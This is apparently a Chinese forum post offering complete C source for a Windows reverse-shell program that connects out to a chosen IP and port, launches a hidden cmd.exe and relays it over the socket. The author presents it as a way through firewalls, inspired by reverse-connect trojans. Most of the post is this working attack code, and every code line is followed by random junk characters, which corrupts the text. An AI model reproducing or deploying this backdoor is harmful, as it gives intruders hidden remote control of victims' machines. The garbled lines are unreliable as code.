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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .YYfba#{  
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/* ============================== w1tWyKq  
Rebound port in Windows NT 6U|An*  
By wind,2006/7 s`Z | A  
===============================*/ .!|\Y!]^r  
#include XS+2OutVo  
#include 0;9X`z J  
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#pragma comment(lib,"wsock32.lib") XFJGL!wWm[  
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void OutputShell(); @@->A9'L  
SOCKET sClient; fS9TDy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `5da  
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void main(int argc,char **argv) 9Z, K  
{ !R@v\Eu  
WSADATA stWsaData; (55k70>i3  
int nRet; WbF[4 x  
SOCKADDR_IN stSaiClient,stSaiServer; 6! `^}4  
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if(argc != 3) Egy#_ RT{  
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printf("Useage:\n\rRebound DestIP DestPort\n"); o@T-kAEf-.  
return; xZbiEDU  
} @`"U D  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <5).(MTa  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D@.+B`bA  
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stSaiClient.sin_family = AF_INET; T$ w`=7  
stSaiClient.sin_port = htons(0); 05 56#U&>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E}-Y!,v^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LT+QW  
{ =(]yl_  
printf("Bind Socket Failed!\n"); 3` ,u^ w  
return; AN)exU ?  
} Bh<DqN  
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stSaiServer.sin_family = AF_INET; \3K%>   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *z?Vy<u G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P|U9f6^3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7bk=D~/nSg  
{ N$&)gI:  
printf("Connect Error!"); T( LlNq  
return; u7>{#]  
} k`aHG8S\  
OutputShell(); RX])#=Cs  
} Ec3TY<mVr  
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void OutputShell() ;q5.\m:  
{ pDYcsC{p  
char szBuff[1024]; rf\/Y"D  
SECURITY_ATTRIBUTES stSecurityAttributes; I \Luw*:  
OSVERSIONINFO stOsversionInfo; d@b" ~r}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CpGy'Ia  
STARTUPINFO stStartupInfo; "@s</HGo  
char *szShell; hiT&QJB` _  
PROCESS_INFORMATION stProcessInformation; H@|h Nn$@  
unsigned long lBytesRead; G*N}X3H:o  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9_Ws8nE  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FTJvkcc?m  
stSecurityAttributes.lpSecurityDescriptor = 0; UI]UxEJ  
stSecurityAttributes.bInheritHandle = TRUE; BmhIKXE{*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hBRcI0R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fk5$z0/  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r,8~qHbOT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8~!9bg6C  
stStartupInfo.wShowWindow = SW_HIDE; (qyT,K8  
stStartupInfo.hStdInput = hReadPipe; u%24% Q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rlwewxmr  
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GetVersionEx(&stOsversionInfo); >{1 i8 b@  
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switch(stOsversionInfo.dwPlatformId) =zsA@UM0  
{ ,^n5UA`PK  
case 1: &x.n>O  
szShell = "command.com"; YQ$Wif:@(n  
break; nBg  tK  
default: nhImO@Q:  
szShell = "cmd.exe"; LW#$%}  
break; Sv>bU4LHf  
} ZNUSHxA  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q]\GBRp  
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send(sClient,szMsg,77,0); &6O0h0Vy  
while(1) BenUyv1d  
{ o |"iW" +  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2t}^8  
if(lBytesRead) P.Gmj;  
{ g;-6Hg'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w:3CWF4q]  
send(sClient,szBuff,lBytesRead,0); OhW o  
} c[zGWF#1>  
else w|[{xn^R  
{ LXq0hI  
lBytesRead=recv(sClient,szBuff,1024,0); S4C4_*~Vd  
if(lBytesRead<=0) break; njGZ#{"eC  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \J-}Dp\0b  
} ]yV,lp  
} Y+Cqc.JBQ  
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return; j`l'Mg  
}
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